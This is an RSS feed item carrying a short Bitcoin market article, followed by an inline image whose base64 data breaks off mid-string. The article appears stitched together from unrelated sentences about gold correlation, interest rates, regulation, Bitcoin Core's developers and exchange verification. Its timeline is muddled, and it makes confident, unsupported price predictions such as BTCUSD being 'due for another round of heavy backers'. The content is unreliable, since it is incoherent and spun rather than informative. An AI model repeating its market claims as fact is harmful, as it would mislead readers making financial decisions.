										<content:encoded><![CDATA[<p>By sharing fundamental economic qualities, gold and Bitcoin have developed a positive correlation that traders should always consider. After accelerating the bull run in early 2021, institutional money is expected to continue being a major price driver in 2021. Major companies, such as Tesla and MicroStrategy Incorporated, invested big money in Bitcoin, paving the way for other corporations to rethink their cryptocurrency strategy. With the price at ‘favourable’ levels, BTCUSD is due for another round of heavy backers – something that would be a major tailwind for the digital currency’s price. A rate hike would pressure the BTCUSD price lower, while any rate cut would provide tailwinds for the crypto pair. To put this into perspective, in November 2018, the BTCUSD pair traded at $3,778.</p>
<p>Mainstream adoption of Bitcoin caused the December 2017 peak of just below $20,000. But as major regulatory bodies sought to impose strict rules governing the space, the crypto party has faced challenging times. Regulation will continue to be a mixed pill for Bitcoin and other cryptocurrencies. Good headlines will push the BTCUSD price higher, while bad headlines will pressure it lower. Gavin Andresen was the former lead maintainer for the software client. Andresen left the role of lead developer for bitcoin to work on the strategic development of its technology. Bitcoin Core in 2015 was central to a dispute with Bitcoin XT, a competing client that sought to increase the blocksize. Over a dozen different companies and industry groups fund the development of Bitcoin Core. The price of bitcoins has gone through cycles of appreciation and depreciation referred to by some as bubbles and busts.</p>
<p><h2>Exchange</h2>
</p>
<p>As a rule, verification takes a few minutes to provide necessary information and photos. They just used a concept and a protocol created back in 1991, add some improvements, and presented the model of the decentralized financial system and the first cryptocurrency. With the BTCUSD pair, you can trade cryptos against fiat currencies. Unlike exchanges, where you are restricted to trade only crypto-to-crypto.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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